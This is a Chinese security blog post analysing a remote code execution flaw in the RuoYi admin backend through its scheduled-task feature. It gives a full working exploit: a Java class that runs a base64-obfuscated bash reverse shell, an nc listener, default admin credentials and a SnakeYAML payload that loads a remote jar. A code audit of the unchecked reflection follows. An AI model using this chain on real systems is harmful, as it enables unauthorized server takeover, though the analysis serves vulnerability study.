某依后台RCE分析

admin 2021年12月26日16:00:50评论673 views字数 3141阅读10分28秒阅读模式

漏洞标题:若依后台RCE
漏洞类型:命令执行
漏洞等级:严重
影响范围:RuoYi<=4.6.2
简要描述:由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
闲聊:最近正好在学java,并且项目中又遇到若依,于是就顺手分析了一下这个漏洞,在下才疏学浅各位大佬勿喷!!!

利用步骤:

1、利用Github项目生成恶意jar包:https://github.com/artsploit/yaml-payload
先修改项目源码文件 src/artsploit/AwesomeScriptEngineFactory.java 执行Linux反弹shell命令

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}

接着运行如下命令打包成jar文件

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

2、利用python监听HTTP请求,让受害者能够访问到yaml-payload.jar。并且监听反弹shell

python3 -m http.server 2333
nc -lvnp 1234

3、登录进入后台(默认密码admin/admin123,ry/admin123),然后进入系统监控/定时任务/新增,添加计划任务。
"调用目标字符串"输入YAML语句:

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

某依后台RCE分析


4、计划任务执行完成之后就能收到受害者的回连请求

某依后台RCE分析


代码审计过程:

1、当我们添加并执行计划任务时,若依(ruoyi)会调用com.ruoyi.quartz.util#JobInvokeUtil 解析并执行我们传入的数据
这里的代码逻辑:
beanName 获取传入的类名;
methodName 获取传入的方法名;
methodParams 获取传入方法的参数,如果参数异常会报错导致无法执行下一步;

接着判断传入的类名是否有效(判断逻辑:是否含有小数点),有效的话就会调用Class.forName(beanName).newInstance(); 进行实例化,然后运行invokeMethod(bean, methodName, methodParams); 执行该类对应的方法

某依后台RCE分析


某依后台RCE分析


2、可能直接贴代码大家不知道数据是怎么传输的,现在我传入一串如下数据,然后调试一下大家就明白了(这里有个坑,传入的字符串必须用单引号包含,不然会出现问题,尤其是EXP的时候,刚开始复现漏洞就因为这里弄了好久还以为是玄学,感兴趣的可以看看com.ruoyi.quartz.util#getMethodParams)

java.lang.xxx.func('aaa')

某依后台RCE分析

某依后台RCE分析


+】我们传入的是java.lang.xxx.func('aaa')

  • beanName = "java.lang.xxx"

  • methodName = "func"

  • methodParams = "aaa"

最终执行的反射代码为:Class.forName("java.lang.xxx").getDeclaredMethod("func", String.class).invoke(Class.forName("java.lang.xxx").newInstance(), "aaa")

3、由于反射时所需要的:类、方法、参数都是我们可控的,所以我们只需传入一个能够执行命令的类方法就能达到getshell的目的,该类只需要满足如下几点要求即可:

  • 具有public类型的无参构造方法

  • 自身具有public类型且可以执行命令的方法


4、在网上看文章发现大佬们找到 _org.yaml.snakeyaml.Yaml _满足这些条件,YAML执行命令参考:浅蓝大佬文章

  • 个人比较喜欢调用RMI来执行命令,但是若依(ruoyi)调用RMI会报错,所以只能调用远程jar进行命令执行

import org.yaml.snakeyaml.Yaml;
import java.lang.reflect.InvocationTargetException;

public class YamlDemo {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
Yaml yaml = new Yaml();
yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://1.1.1.1:2333/Demo.jar']]]]");
//yaml.load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:9999/t', autoCommit: true}");
//Class.forName("org.yaml.snakeyaml.Yaml").getMethod("load", String.class).invoke(Class.forName("org.yaml.snakeyaml.Yaml").newInstance(), "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://192.168.3.3:2333/Demo.jar']]]]");
}
}

5、于是我们构造出最终传入的payload为

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')



来源:先知



某依后台RCE分析

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

某依后台RCE分析

当才华支撑不住你的野心时
你就应该静下心来读书学习

原文始发于微信公众号(衡阳信安):某依后台RCE分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月26日16:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某依后台RCE分析http://cn-sec.com/archives/699402.html

发表评论

匿名网友 填写信息